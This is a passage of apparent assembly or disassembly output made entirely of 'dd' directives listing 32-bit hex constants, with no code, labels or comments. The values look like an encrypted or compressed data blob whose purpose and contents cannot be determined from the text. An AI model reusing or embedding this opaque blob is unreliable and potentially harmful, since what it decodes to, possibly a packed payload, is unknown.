0B9693946h, 0E338B05h dd 18F08AECh, 0AC7D00F1h, 0C2D4318Dh, 0A12DF6E7h, 0A294699Ch dd 5CF53117h, 65EC7091h, 288800E3h, 5BD2B8E5h, 0B83CD1A0h dd 2FE6014Ah, 0B262B130h, 79489148h, 9B189Fh, 0B209767Bh dd 3E7E9428h, 4832BC0Bh, 0AC5C1061h, 34926Ch, 0F064EDFDh dd 0DBCE0F8Dh, 5AE9F103h, 0F1923998h, 54382017h, 4FEEEB02h dd 0A054BD84h, 172FE58Fh, 5206FC09h, 0A5D160Ch, 0F150221Dh dd 8A6A724h, 4EB0E9E0h, 0C0FE502h, 91FD8E14h, 0A841BBF8h dd 5F006DD1h, 829F3810h, 762CE5B0h, 3CE44330h, 835A880h dd 23CF8E01h, 28B8DDBBh, 2D9168CCh, 8044EC15h, 0F258C481h dd 5E0BD901h, 9A6280C0h, 741096E0h, 27CE946h, 0CEE7BDBEh dd 48729B89h, 0B663DC16h, 6A00647Ah, 6F398C0Fh, 530210E3h dd 61F6E526h, 0C55F0096h, 4317B517h, 0C8F2002h, 42FEB788h dd 9804F5B7h, 1E167341h, 4041FAD4h, 0E572E098h, 93BEFB15h dd 0AC3A00E4h, 0A86FCCCAh, 0DB0D0214h, 195B9162h, 58695460h dd 5EBC839Dh, 0DD60C930h, 5E716230h, 0DCC0FE0h, 40D7C2A7h dd 465D8B1Eh, 5020306Bh, 0EC108B10h, 74BCA0F8h, 6A0F178Ch dd 3C10B4C3h, 0BFEEFF00h, 4D0AE68Dh, 1AA0B84Ah, 60E87F25h dd 0F24404C7h, 0B1870160h, 0F9D19907h, 2642DE1Ah, 597460B8h dd 408858BCh, 0A5DD9882h, 0EE78FC73h, 20185CA9h, 2659F611h dd 0B6087C25h, 12921AE9h, 7C11941Dh, 927B3980h, 90EBCC3h dd 568C40BBh, 83B85804h, 44192A01h, 6DFC7C6Bh, 987280EEh dd 6D29E200h, 0BC7712Ah, 27411A00h, 1B6E368Bh, 5A80B2B2h dd 47C44023h, 81C3BC06h, 2EA48000h, 31B64DD3h, 0C2970942h dd 58FABEACh, 544B8B00h, 0E2685783h, 1CFA17h, 380CFE48h dd 695B3594h, 59C11090h, 95AFF9E3h, 0A0ECE444h, 4CD2BF80h dd 0A70F019Eh, 642EBDh, 8B488AEBh, 3C98A0DAh, 0A3DB130Eh dd 57444D6h, 7B5CC908h, 94CEF420h, 0C2780041h, 0AC1D21E3h dd 0F4B45608h, 0ECFC6740h, 0FE950015h, 277C56Fh, 890B0DB4h dd 710EA2F9h, 0FB838200h, 0CCC4D83Ah, 157838F9h, 0CC6BABh dd 0D48887CDh, 25B5463h, 95CA7006h, 3CE1FC96h, 49024CBh dd 61F69F2Dh, 0E0005B74h, 100BA031h, 1FEB16E4h, 8B4F11C4h dd 8A08EDBh, 210D0263h, 54C4BD53h, 9EACEE00h, 4A7A9A1h dd 0BFC300E4h, 1247F8CBh, 37388918h, 0D05A1D80h, 0FCD01B12h dd 5B1191D6h, 83742802h, 38CB0488h, 61B011E7h, 0D5C6DD31h dd 910C9DB5h, 0EB838053h, 2C0195C9h, 8589FEAh, 42EF222h dd 0A602004Ah, 856E76h, 3A2F05E3h, 91C0229Dh, 8610089h dd 85FC5F96h, 0ABBA4200h, 0D437C2ACh, 20CC90D5h, 0E327A035h dd 28E0460Dh, 20206B7Dh, 339D59EBh, 53188100h, 6C913201h dd 0F52980D4h, 7AD0A8h, 2E0E7D67h, 5C1D4AA5h, 0D32F04B8h dd 0B5C410D5h, 0E473F5h, 0CFCD16E9h, 504403B0h, 0D0313Eh dd 1A38F67Fh, 0A0BDFBE6h, 8EC030h, 8B6A3EACh, 75B3341Bh dd 0E7261125h, 8E9CC2C0h, 8E9C083Fh, 90BD5A5Ch, 0C8785654h dd 0C7B95Ch, 20829D34h, 0E6CB4CACh, 251E67Ah, 0E449FF2h dd 8CD86AF4h, 16108A4Ch, 0C41792B2h, 0BD9E1CB0h, 0A576EC31h dd 0D7504161h, 0DC640405h, 10016078h, 7CCE00F6h, 0BF122619h dd 8848228Ch, 0AAF98020h, 9E389164h, 79AB090Ch, 0B210DCE8h dd 622D1319h, 95025F78h, 407A1C10h, 0A66322E7h, 88023C51h dd 0CACCDF8h, 0C2D42BA1h, 48B75C0h, 2DEEE7D0h, 100A5C72h dd 0AE85B441h, 88A605DDh, 38C69C20h, 98D91618h, 80B82258h dd 267DFC58h, 0A80E50A7h, 0CC9C765Eh, 201E8250h, 3C8D8A23h dd 858302Ch, 0A102EF1Eh, 0E060058Dh, 5A69B870h, 0A08854C1h dd 13065F22h, 5E51BE2Bh, 27737E10h, 8C69F0A2h, 0D808D226h dd 444044AFh, 0CAFE0B5Eh, 0D081025Eh, 0E804854Eh, 8CF2BCE8h dd 0DD638E00h, 724F0E4Ch, 90FD0278h, 0EC21E0D9h, 0DEA4F0C1h dd 6E38C01h, 37C100D3h, 77B7557Bh, 70F59BEBh, 0BC2FC0h dd 4674382Ch, 6B1300F1h, 0ED77C298h, 89AE0459h, 0F0E2928Ch dd 0EA2E60E8h, 386C71h, 0F06995ADh, 0A0942F9Fh, 0BE7FAC98h dd 0EED90AD8h, 0CE044F44h, 0ED208945h, 2DCC3061h, 0EC2AC4A8h dd 0C6CD1409h, 87580664h, 0E3CA0A19h, 3BCDB92h, 18573E91h dd 13C272C8h, 0A5033A17h, 859EA4A2h, 91602CDAh, 829F469Ch dd 85E0B81h, 1DD058ABh, 332DBEA2h, 0F5AA1B90h, 2BB07141h dd 0A8210C8Dh, 0C2D72E1h, 2B25C449h, 29805071h, 896B35A3h dd 0F8D40901h, 245C544Fh, 5A409E9h, 8841A038h, 91882F27h dd 0FBE31882h, 48918549h, 9FF8D415h, 21DE5B20h, 0D0CC9E45h dd 229D85C2h, 7B200441h, 204FDA05h, 0AB206008h, 0DA94EB83h dd 0A7A82155h, 0E1000AFh, 0A3DE09FCh, 0C4D882B8h, 1DC912A8h dd 5F302047h, 6C604820h, 0D5BEA160h, 6B18B672h, 8C9547Ah dd 34A708E5h, 55CF8A62h, 20F350A1h, 78DC2ADEh, 0D0480447h dd 4EEE8CBh, 0D9699108h, 0A10820D8h, 78DE6225h, 8E37066Ch dd 69D371C4h, 8A50C1D1h, 2D658C5Fh, 13C10CC0h, 0D91D605h dd 19A9AAA8h, 17B4620Ch, 60F3602Eh, 0DAF36B09h, 91C414A1h dd 247C740Ch, 41CE8F0Bh, 8EC249Dh, 0ED998523h, 0E035029Ch dd 14A5B8h, 22F561A6h, 26B51B67h, 4AC72518h, 5915C1h, 420D8517h dd 1149C07Bh, 0D5C86A02h, 805F3053h, 384424D7h, 0C8855A0Ah dd 8612A50h, 685D9F98h, 0DC841989h, 89B8C882h, 49BF6921h dd 66363982h, 8C2092F3h, 7EDAD56h, 65253595h, 0ED9465BEh dd 4FB41090h, 0F4503F31h, 69830072h, 2E2145BEh, 0EA23982Fh dd 52909400h, 983225CBh, 0F99E20FCh, 0AA91BB06h, 0D6B91C6Bh dd 1084A290h, 0C7176634h, 9BFC4CC2h, 4A5FACA8h, 1D116053h dd 0B57602BCh, 0D8A08962h, 4B757590h, 1EF84323h, 0F3A84683h dd 7B0036BBh, 446181E3h, 0AB64123Ah, 9ABCF8A4h, 4C049789h dd 0B878109Bh, 0DF008CEEh, 4588B3E7h, 9FEC205Dh, 0D4345CA0h dd 4744E492h, 94BE2633h, 0F40B82A0h, 2201F30Eh, 50AF855Bh dd 7800D844h, 0ACECD15Ah, 7DC6FDh, 37714AA3h, 0FA87E52Fh dd 0BAA1900Ch, 3D3397Ah, 5838D9C2h, 0E1011904h, 0C6966C64h dd 30A697E5h, 4D7117Ch, 0C7CC0431h, 57C45C90h, 0D879D4FDh dd 1813A319h, 125F0CC2h, 0B97FB8Dh, 1C468CE0h, 91FC353Dh dd 9A883D0Ch, 0FC2D4580h, 9829CA9Eh, 198E602Ah, 995CCB19h dd 0E05B6200h, 0E2A4342Dh, 11921E30h, 0DF08C40Dh, 0E5F48079h dd 0C5952732h, 6099E498h, 7D78F95Dh, 0B450E08Ah, 0F6E7059Ch dd 3AF842E9h, 84493C2h, 0C3ADBA0Eh, 291A62E2h, 0B028F2E7h dd 6D04224Ch, 809CC74Ch, 653FF024h, 9AD1133Eh, 80189417h dd 8333D929h, 0DF0028E6h, 43FDE230h, 0C0B5A0Fh, 798C7B17h dd 0AD00C070h, 0AFD66F39h, 123F34DFh, 0A9912B5Dh, 93E91158h dd 65A26095h, 0A7F9E320h, 0BF933E48h, 2CF8FB31h, 0B86A2B51h dd 88648010h, 2FCC64D2h, 2F842043h, 0EC926017h, 0A1D1C03Eh dd 313AAC55h, 0BF043D1Dh, 0FEFFC2C3h, 0DF6A88A9h, 202E01Ah dd 0C55FA837h, 8CA980C7h, 6A05345Ah, 6B8F7C04h, 43FDC24h dd 9C584700h, 0A2543539h, 80334300h, 492B4482h, 244128ADh dd 8B60000Ch, 0AC3F2842h, 80207139h, 9A541E9Ch, 0AF0F7C37h dd 0AC8F283Eh, 0B0872B8Fh, 5BC7DE35h, 9E52C03Ah, 50743242h dd 80364803h dd 0B0393DB0h, 0C12D4A5Bh, 4C323C28h, 473AD8A7h, 653BA906h dd 40A83Dh, 58F6694Dh, 2E449A48h, 43B28016h, 0E145BE00h dd 3E5B6B8Eh, 45064F6h, 80466063h, 1D6547ACh, 51288F00h dd 31F67C85h, 9E79DF4Ah, 703918ACh, 516E323Ah, 35E19818h dd 4208A857h, 9D503E2Ch, 9F4E2405h, 80381BFDh, 25A883Fh dd 492C47ADh, 5B9B00A9h, 661835F9h, 9CE81746h, 2A4C303Fh dd 5E807F38h, 7CE33A50h, 0A43DA0A0h, 34582300h, 8365115Bh dd 8FE0009Fh, 2643AD30h, 0E1CE8927h, 44678676h, 4E540178h dd 335237A8h, 80280C8Fh, 47043D19h, 80531DAFh, 4E037E28h dd 2988542Ch, 3470E459h, 337C3D8Bh, 84240BF9h, 0A05908B4h dd 66E49182h, 8848DCD5h, 0EB831204h, 99FBBFBEh, 0B8292640h dd 0CEDA0403h, 181DFA65h, 78D60861h, 0C01110F2h, 99D85899h dd 0C208D348h, 8BBA1312h, 576AC0C2h, 142C5C18h, 5888A641h dd 0EBA77B60h, 94601840h, 0EED9A111h, 6189556Bh, 70065D90h dd 0BD82C710h, 461A8058h, 0D4C45916h, 0F0C860DCh, 804A28B8h dd 25F3C17Ch, 0E4A5F936h, 586818B6h, 5D8A44E9h, 0B7B810ACh dd 0B8ACD1D2h, 0B8F0DF08h, 2167D188h, 20946294h, 0FA392316h dd 770E6451h, 3842648Dh, 0C488555h, 2FD82C2h, 0AE577922h dd 54740508h, 1810ACA2h, 1C051261h, 0A04EC0BDh, 0E58870A8h dd 6F5D20CEh, 0D8C75513h, 885ED4A8h, 695EC69Ch, 6F2FD821h dd 0FC202880h, 0CEE77EAAh, 0A2A2DD27h, 0A759683Ch, 2485840h dd 0F442FC0Dh, 5197BC00h, 5D3C0AE5h, 0BCD8DC08h, 0B24D62Ah dd 0D7C430C6h, 5E3A1C05h, 8C710B98h, 9E05A060h, 865F8F13h dd 185508B8h, 404020E1h, 122EFCDDh, 34C25E0Eh, 38446704h dd 0DC4AF048h, 536AE351h, 98940404h, 0BF694275h, 35BCE43Eh dd 0D4173F8h, 9091DD04h, 0E5C86318h, 0D5326B64h, 8855DB19h dd 0C4CB1C08h, 18022568h, 29B63D74h, 41797985h, 405FA58Ch dd 0ED408845h, 0E04E6544h, 0F89C8B38h, 538409EFh, 0EEC41EDCh dd 0B1ED0284h, 2751690h, 0E05B1EE4h, 4011E30Ch, 4216845Eh dd 18CFA7C4h, 7E88E484h, 0B888E410h, 1A2B0527h, 0BD5EF71Ch dd 1D3B8FCh, 242F2CF4h, 0C70F34D9h, 0F896C4A8h, 0C028B94Bh dd 7C989622h, 2E1CF146h, 0D6D7003Eh, 0FA218D56h, 0FCACBD09h dd 0D0ACFB3Dh, 4900BED8h, 0CA1FE303h, 0EE6E262h, 0D12BCE0Fh dd 2B8DB0Dh, 5C9D8799h, 8980F011h, 3837D06Eh, 0F9F7805h dd 98A9BD6Ah, 46C7D507h, 0B2DA20ACh, 9036BF3h, 7798FD2Bh dd 0B3C08838h, 44459548h, 2A1D9011h, 0AC6B051Ah, 31844078h dd 855F01EDh, 10CA3802h, 401CC9FCh, 293488Ch, 36CCD8B4h dd 3C7EDF92h, 7C139441h, 9A14C83Bh, 64000378h, 8B302425h dd 94EA9228h, 5488000h, 0A6F92E55h, 0B1FF2601h, 8D3073E3h dd 9336088Eh, 67005DC8h, 0D39FAE0Eh, 4B1D278h, 0B6CA11A8h dd 0F42F4F1Ch, 8039EE23h, 7F8371A7h, 42C95Fh, 0C6DBA8BAh dd 60ADD606h, 0DCA9BB12h, 72F254E2h, 0A9F7030h, 94A45650h dd 0CC39608Ch, 3603C346h, 639F98F8h, 0E257E488h, 3075F2ECh dd 4B3DBC74h, 61E8803Ah, 29DF2592h, 99DA001Ah, 0B30E2BB0h dd 31E3598h, 0A1474D94h, 0F1F9FFDDh, 189879F8h, 0A08E2C39h dd 0E0841F3Ch, 0ACE22E4Ah, 0E2309FE2h, 0B0BD0065h, 0A3133B5h dd 0DC006DC7h, 0EBB78C9Ah, 983961F6h, 47BE4E6Ch, 0E0767034h dd 0B3F155AAh, 0D0AE1512h, 64C69B00h, 1CC45099h, 89389202h dd 0AC5644E6h, 0A83ADD91h, 0F909B780h, 0D5F33625h, 0E2C823F9h dd 0F65F30F2h, 0E912361Fh, 2DA784FDh, 84410DE4h, 30BC38D7h dd 8F012AE8h, 32C431C2h, 3C7069h, 7B1291C0h, 0A840C2D5h dd 0DE0588F5h, 3DC1F360h, 27A07633h, 74DB40FCh, 8BC1E759h dd 0B5AB2060h, 9A882C90h, 98D4C301h, 367FE7CBh, 5E8D70h dd 93C2AACFh, 0AD85582Fh, 4E48AFBFh, 7008C083h, 0E46C5Ch dd 1F5D2F52h, 5F34400Ch, 9EC53F0Bh, 855C02B8h, 0F18071D1h dd 93C81F93h, 3117174h, 0BE31CF56h, 80417E14h, 5E30FAACh dd 5D95179Dh, 0C054B259h, 489D5718h, 0B8E26DDh, 4AF0018h dd 9F0E3A3Fh, 48D0235Eh, 0BCF1CEh, 6C16C096h, 0AE9AC5A3h dd 51334902h, 0C85E48DAh, 2F59D608h, 0D4E49439h, 2E027702h dd 41E0128Dh, 18A43294h, 0C57363F8h, 1FE4DBC0h, 0F9677C00h dd 0D9ABE606h, 266EE2Bh, 74FA1CAh, 5C56C8C5h, 85929987h dd 8DFB1D0h, 2A8800F1h, 9DAD43AEh, 0F800A03Ch, 0C43ADCFEh dd 4285E2h, 0DF7BE0F9h, 0F4D63522h, 655A13Fh, 617ECA5Eh dd 0E1F70318h, 8ABE95C6h, 701E9900h, 0B5091425h, 3823EB53h dd 74DC805Eh, 0B40034D4h, 0E5535424h, 2CAADCh, 8742B6D1h dd 9836622Bh, 915D39h, 0A42F12F8h, 0F9E33Ch, 84BEBCD8h dd 41E8328h, 6917D909h, 452858C2h, 0FF643096h, 86AC7B18h dd 78562879h, 49E4E599h, 0D1B9017Fh, 9A402536h, 0F4D6F235h dd 0D48EDB81h, 8AC4551Eh, 22401816h, 8538604Ch, 8CF0BD00h dd 5B4292B0h, 0B17F053Bh, 2E64529Fh, 0ABA00C04h, 3FF1054h dd 0C3D542DBh, 2100673Ah, 0ED8D3843h, 0F4A7162Eh, 7AB57CA6h dd 0E5098239h, 485A8106h, 0FE819478h, 21B92890h, 4C67F99Dh dd 991F0450h, 21B03963h, 0F75ECF0h, 1EB9899Ah, 18A16786h dd 39BD8E33h, 7641EE19h, 0C167301Eh, 79EC6118h, 0D8AC39C5h dd 0D1746000h, 465F77h, 7B26F09h, 0F0B8EEF7h, 53C2F900h dd 0D6AFF16Eh, 3491C27Dh, 98AF5B86h, 0C0E9DB00h, 6C0032BDh dd 0C15CB63Bh, 0C34922C2h, 893CAB21h, 0F64856A0h, 19C01FEAh dd 0C22C65A2h, 4BE85Ah, 0B9846CA5h, 7D675FEFh, 3F0050F8h dd 396E5E36h, 376FA3Eh, 0AB299B70h, 8019AA0h, 0DF048E66h dd 5CE8D5AEh, 23C215A4h, 0FBC04C5Ah, 0B23C529Eh, 0E076A229h dd 3020E01Eh, 0AF488138h, 0F0C88331h, 155E110Eh, 0ACB7E1h dd 825A253Eh, 3D8A711h, 5F78BF7Eh, 482CABEBh, 0B43D5E64h dd 0E0202076h, 0F1D52ADBh, 0AFF686D2h, 36400C18h, 7E217453h dd 3930B6F0h, 3CAD7171h, 886451CDh, 488051E1h, 0BC65ABF7h dd 8E3013C3h, 1E987155h, 0F891E991h, 0C60B0082h, 0D4C8D8EAh dd 514E0CB8h, 0DDC1C58Fh, 691B2800h, 0B613D0F6h, 5B483AFEh dd 0E584068h, 0AF026E9Ch, 104889D5h, 10CA0770h, 68098C1h dd 0BADBF0F7h, 0CD2B038Ah, 395E666Ch, 31CE439Ch, 3C75A1DFh dd 0FF157422h, 0A300BCACh, 12D38B37h, 89300E58h, 57FE7962h dd 23710009h, 0AC5AF6E6h, 0B0C06A2Ah, 5BE906B8h, 442C90AFh dd 0A703DB3Bh, 0A9ABF993h, 0C8F1FB91h, 1803146Fh, 0D1B1A066h dd 0A900844Bh, 0B021635Fh, 1924ABDFh, 21A13574h, 221C24E9h dd 88173845h, 805E3084h, 2B2A9BA9h, 0AC14B5CFh, 0CFD44DD6h dd 0A80DD218h, 6058519Eh, 1C3C31F4h, 0D8D62A21h, 573E837Ah dd 260CD0F3h, 0D58F8B15h, 254404D0h, 20837B2Eh, 0A569F0DBh dd 7A990067h, 2BE9D93Bh, 6C5633E6h, 296D0514h, 300420D6h dd 0C127333Ch, 0F07FCF69h, 0A9D2398Fh, 727E701h, 9D40103Fh dd 30AAA2Fh, 0F9E5FFD9h, 910BB98Dh, 8082A5B1h, 6198662Dh dd 0D4AF12AAh, 60C4497h, 2F68C490h, 0A4610828h, 3D13747Ah dd 18BAF388h, 0AA7F59C1h, 0C078392Ah, 0CD6DD003h, 2BFE85Fh dd 8737B561h, 0C2406779h, 0E648B9A8h, 6036881Ch, 3EB0F98Eh dd 52A6F714h, 88A42198h, 1832DC29h, 616518CCh, 86F47E44h dd 2C634120h, 5030C091h dd 11C1CB86h, 9EC236B2h, 3B348C4h, 0D5A6D3F8h, 0CB9AD628h dd 0ECDF3880h, 0A0F9B987h, 90ABD8F0h, 3F0A5DC0h, 0EE4EE806h dd 38815744h, 0BDB40E20h, 60049240h, 41DEB227h, 0C9CDE59Ch dd 0A1072082h, 4004F62h, 13AE18DAh, 772061h, 8766C5ACh dd 3E05566Dh, 30042540h, 0D9DB7880h, 3CEB48EAh, 6200F839h dd 5510410Ah, 44A1ECF1h, 1518305h, 1DE6E9DCh, 9F2DF631h dd 0EF80B09Dh, 704CA94Ch, 19263E6Ch, 6518D15Dh, 0DD726F20h dd 3DD58418h, 993900BAh, 5D79A76h, 66059FADh, 96C02162h dd 9C308789h, 4983EE22h, 0B410506Ah, 0EF7940D1h, 8AE981F8h dd 8CA18618h, 0C225F140h, 2B690176h, 0D622DBDAh, 38BCD0C7h dd 0C04A602Ch, 83F1B880h, 0E0DD5FA4h, 0B018D023h, 8B026922h dd 0DFACBE1Eh, 0E9F8A779h, 28DBC6B0h, 9DE4BDh, 7B615E78h dd 771A3F9Ch, 70988024h, 7A09369Dh, 204C042Fh, 908E3944h dd 9D73E184h, 1790597Ch, 0BC61A7F8h, 0A5EC8F60h, 7B99E0D3h dd 0C0BCA29Dh, 0CB458A5h, 827ABA9Fh, 17018FF8h, 20644DD3h dd 2990A033h, 81378427h, 0F9420348h, 471324A1h, 27504193h dd 0FCBB506h, 442B7C9Bh, 0B1DEF2E0h, 56036685h, 0C459FC29h dd 0DA20A81Eh, 959F0016h, 11149051h, 8A0707CBh, 0ED697C84h dd 7786403Eh, 339571h, 51B03483h, 49117958h, 733F4C0Eh dd 0D1F6A185h, 0AF30B7AEh, 6AFB1898h, 0A2A729FFh, 4E0C3E00h dd 0E0F1E220h, 0F2AC0360h, 0E8C9EFC6h, 65BB06D0h, 0EB620h dd 76589BCEh, 5BCCA494h, 7333FE1Fh, 0B6892280h, 404923h dd 69B5E3Fh, 0E0DE9E7Fh, 6297370Fh, 3EAC80AEh, 9039E3h dd 0F73C5643h, 7AAB1BA2h, 0B8911400h, 787BE147h, 0AAFB51F1h dd 3435E20h, 863DFF23h, 0C9C06F91h, 0A50E0E92h, 20144110h dd 0DFB75FF6h, 9303002Fh, 0F919E45Ah, 0C200B436h, 465E26Ah dd 264BAAFEh, 83C056C5h, 16800870h, 8DF2BDF8h, 6B345A00h dd 0E0A9CC02h, 60451E77h, 553340D8h, 0CACB307Dh, 40006C98h dd 0B8217083h, 95E2FBh, 8AC8A02Bh, 0C10A3816h, 0E32F0C0Fh dd 3BF1A0CBh, 0A0C7BFDFh, 0FE0D27A4h, 0AD29005Ch, 0B0316EBh dd 7F0070AFh, 1354EF32h, 3BBFC15h, 0C3805551h, 59E0D752h dd 0D9CCB379h, 0F8731117h, 705C00AFh, 0ADD202DBh, 6901B4CDh dd 0CB142E5Bh, 0BFF80AF5h, 9C7A30h, 5DC84E09h, 51B53DF4h dd 0BD761903h, 9032BCB2h, 444947h, 0E8CC1E69h, 8AF12233h dd 1001FE72h, 29F26573h, 9420B63Dh, 0E55E0349h, 51501ADBh dd 0B3AA9BB8h, 0DFD4AB02h, 48FC68FDh, 0D0B228h, 30F0C463h dd 5C4703ACh, 1E7E551Dh, 7A827B40h, 0F5FD75h, 8ECFB7C5h dd 1B267067h, 97EFC200h, 1F60DE47h, 4D747Fh, 581AE0E4h dd 5BA3545Ah, 0C0801D48h, 0BB2BFF53h, 8CA9512Fh, 7A17FCh dd 0CD7C6534h, 4EED15A3h, 88D80902h, 62EF40B8h, 465E60C1h dd 0B32A01EBh, 0CFFFB2F9h, 0A59CC05Ch, 0A2C9F000h, 0BF3BE810h dd 8D0300B7h, 0F9468BEAh, 8E0009ADh, 0EFA4BB47h, 371660Dh dd 0C1DADFDCh, 0B0D743FBh, 0AA69CC8Fh, 6087A400h, 0E81EA378h dd 98A0710Dh, 4CF9F230h, 6A00E4EFh, 0E3609E66h, 530015DBh dd 0C68B5054h, 740C8CFh, 0EDB97DBAh, 0A231D004h, 0A71FC975h dd 2281EE18h, 88B46891h, 0FE26D9F4h, 92D805BDh, 205D8FD3h dd 9E4F57D0h, 0BFE9E400h, 2A6F05F0h, 900901B9h, 0F16C598Ah dd 25E0CD7Bh, 2320C8FCh, 0BC2558C1h, 1992D434h, 0E154006Ch dd 0EB8FC360h, 0F4C672C4h, 281D6880h, 0FC6D0115h, 80F8DD3Eh dd 8450D4C2h, 8DC5A200h, 0D6A0A9Fh, 14B89055h, 0F883285Dh dd 2AF79900h, 0A36F1245h, 217ABA7Bh, 97FE2F00h, 8AAC220Fh dd 82E91EBCh, 0F85EC042h, 6FD9A8BAh, 4D9A3301h, 45F9D7E3h dd 0B82036F5h, 9B6420C4h, 0AAE05678h, 0E9204200h, 554EFDF0h dd 1E9D794Bh, 8F9F6EFBh, 16600D2Ch, 0D013969Ah, 28EFB301h dd 62AAB0A9h, 94A3570h, 2BED855Bh, 88E7BC40h, 1E88FD54h dd 9A003170h, 9E4399A8h, 16A91CAh, 0D1152F58h, 804163E9h dd 9C957928h, 71B9354h, 8D07D314h, 60708785h, 0EABB8F38h dd 49849A00h, 8C7242D8h, 22B600DCh, 197BB0F6h, 7D03AB25h dd 0A6D29E97h, 30A08C7Eh, 9F710195h, 86540F94h, 0FC3820D7h dd 55243600h, 0A1FA575Ch, 10923E66h, 0B8D41189h, 4620DC00h dd 95001278h, 985ECB9h, 52FE6434h, 1E00ACC0h, 5028E751h dd 0CCA81442h, 9624228Ah, 13018D30h, 891175ABh, 0E07D9C8h dd 4627F184h, 836E55C0h, 0FC59AF67h, 4A360E18h, 0D3FD027Eh dd 2D4E03B7h, 1BF775E0h, 796F5900h, 93187D39h, 9BEE00BFh dd 0B5BAB8A2h, 33003031h, 0D16A9725h, 3D3FF58Ch, 68813AD0h dd 325D7298h, 1680E719h, 4000F16Dh, 91CD2262h, 1E6971EAh dd 19D28B12h, 0F4498837h, 0BE7FDC51h, 1967FD01h, 81B15D8Ah dd 4C2D6670h, 860034A2h, 4D47F6E5h, 0E200C045h, 36D41905h dd 81B9C3h, 0FFF21ACBh, 0D9BBEE83h, 741C5024h, 64051424h dd 58806872h, 0F8F91860h, 7BA7012Bh, 0E6977E51h, 0C432C8h dd 80F8B54h, 1C5EEED9h, 8010C141h, 0D86560DDh, 3902C5A7h dd 0BE771C4Ch, 0F7D580AAh, 16C25Dh, 0B61F7244h, 0BD7FD29Dh dd 23888000h, 0C989C7D7h, 0D03D014Ah, 46B9519Fh, 75D08219h dd 6307BDD4h, 66A6F8B4h, 0C08A0586h, 0D0CC41BCh, 804DE8A8h dd 0C19D1A00h, 3C118DF4h, 8906006Ch, 3B77E1AFh, 0EF0C5926h dd 984A9830h, 92C200ABh, 8381DEAh, 0B30E1B64h, 4191197Dh dd 0EE7C0FE1h, 17610820h, 1851765Ch, 8657EE6Ah, 68203300h dd 9EC9DB7Dh, 0DC431271h, 846C049Fh, 800B5D5Fh, 1F94201Eh dd 1DA50A8Eh, 8059F639h, 5D03413Eh, 0AA309C64h, 0ECB130DAh dd 0FC931662h, 1270099Dh, 0C025E805h, 0AB7C717Ah, 511B8030h dd 38750BBh, 0EAD5040Bh, 1900455Ah, 0CDD952D1h, 2AF29Ah dd 0AF65083Dh, 0E612A2A0h, 7B9E4C1Dh, 41D8EDC3h, 766AD84Ah dd 0DCC13A1h, 0B65CD033h, 294C7BE2h, 1F8D48CBh, 67C0811Bh dd 795E379h, 1F6FA5Bh, 55A0B9A8h, 0D8022049h, 5E00FD23h dd 0BFDCC214h, 0F366174h, 0FA0CBE1Ch, 0AA405818h, 3A157678h dd 19085303h, 0BA21D8D2h, 4AE934E0h, 265800B6h, 0C3B5F012h dd 0A8D33Ah, 406B3F20h, 0C0E976C2h, 88415618h, 6C010BF3h dd 4FAFBBD6h, 4200C28Dh, 0E7095AE3h, 57A676h, 82DBFC9Dh dd 0D9F105D5h, 0D0603788h, 0A6D39F9Ch, 6724B509h, 86F38748h dd 17219040h, 30926Bh, 4DCC838Fh, 0B05A5464h, 0F497C600h dd 9AFF5F0Bh, 0EA120C27h, 0A0B8A4C5h, 8F01505h, 2CB5728Bh dd 8F84041Bh, 0A0E4A01Eh, 3CFC59h, 16389E07h, 6939A7h dd 0F4F9D63h, 6C33F2A4h, 7D96A000h, 1E06B1A3h, 9529C83Dh dd 24F76C42h, 8CC04082h, 1329BE4h, 0A90D99FEh, 60881076h dd 0FB0083F4h, 743D6193h, 1314F86h, 0A8E64C99h, 0C55CC213h dd 0D7D3F88Ch, 47B1FE00h, 0FAA95D7Ch, 64B034h, 0E43C4320h dd 7783F273h, 4B8C7100h, 7B51BE2Fh, 28DA162Ch, 0CE30001Eh dd 0E26F1107h, 868D3102h, 0A0D1DEB8h, 3AC95784h, 0D30008Eh dd 1C6FD6CEh, 8A3DFBCFh, 0A37B1D58h, 0EA83D4A6h, 0E05E55EEh dd 38FCBF67h, 90004B9Ah, 0B5A252A9h, 240E187Eh, 0AC894EEFh dd 4B1561BBh, 1A304435h, 5DEDC0E0h, 0E3FA1894h, 44013073h dd 0F9A3633Eh, 9760C3ACh, 0E45E5C35h, 99DBED00h, 3BCCD27Bh dd 0AF642500h, 75A66854h dd 0ACCD0EF4h, 0C9805A1Eh, 0CA5BA4F3h, 0F9007473h, 0CE1734B6h dd 3C9710FCh, 4DBA4A8Dh, 66E0E100h, 27E6AEC5h, 0AD452500h dd 35EE96BFh, 55480FC0h, 0BDA199C8h, 0CCF958C6h, 0FA01017Bh dd 0D5461964h, 1881C552h, 0FE99B238h, 47B480D4h, 0F26243B0h dd 235D0EA2h, 0C1A381CEh, 0D4809154h, 0E3004131h, 83FE6DEh dd 0B8B29F05h, 3EEF0056h, 0D5EC288Ch, 7D012719h, 7B914BB8h dd 0F271F850h, 21A8A000h, 79A10034h, 19693FECh, 6001E0F3h dd 20D304A5h, 90003D22h, 0B400D9EAh, 723A5196h, 75ABD005h dd 5E4100E3h, 0BB87DD65h, 0B301BAB6h, 67E896EEh, 35DCB492h dd 0D89455h, 0E74421Ch, 0E800B591h, 60300581h, 17A4BCFAh dd 412F6BD5h, 3E4C24A8h, 0B69FE410h, 921E8605h, 0C8C0FC2Ch dd 720D71A7h, 5D50985h, 0F480ED88h, 0AA72585Dh, 1CAE4F00h dd 0FF6F1561h, 8E322FCDh, 7BB26000h, 2909432Ah, 2591195h dd 0E97A8D18h, 0F2F5BD90h, 4F4CF889h, 3EA3C8A1h, 0C0288158h dd 7B8BFB7h, 48729830h, 390038F0h, 818901D1h, 0BC186C50h dd 0B918DD4Bh, 72400A4h, 0B7637364h, 9300B546h, 0AC2CC0F6h dd 7045567Ch, 0BBC009Ah, 0B9A25FCAh, 2E0339EDh, 6C042AF7h dd 1F30D7ACh, 120B5B5Dh, 804438D5h, 0C7CED0D8h, 423E431Ch dd 0B8B1B980h, 2A2FB3h, 9FE3292Ch, 1258A0A6h, 5919400h dd 0BA0A2B5Dh, 7F9E02CEh, 0FB184530h, 608D00C0h, 4EB1491Fh dd 6AD8BD41h, 38F8A7ABh, 0CAFCE585h, 4D010061h, 0AAA0053Bh dd 0BD000A33h, 8074B6D3h, 2BF6F9h, 0E71158ABh, 0C667633Dh dd 37684300h, 0DA0EFBEAh, 0A5E20032h, 3F46280Bh, 4590DED7h dd 0D2BDF100h, 775AADFCh, 0D49092h, 98CBB47Ch, 3FD140F2h dd 8470373Ch, 0C42BE256h, 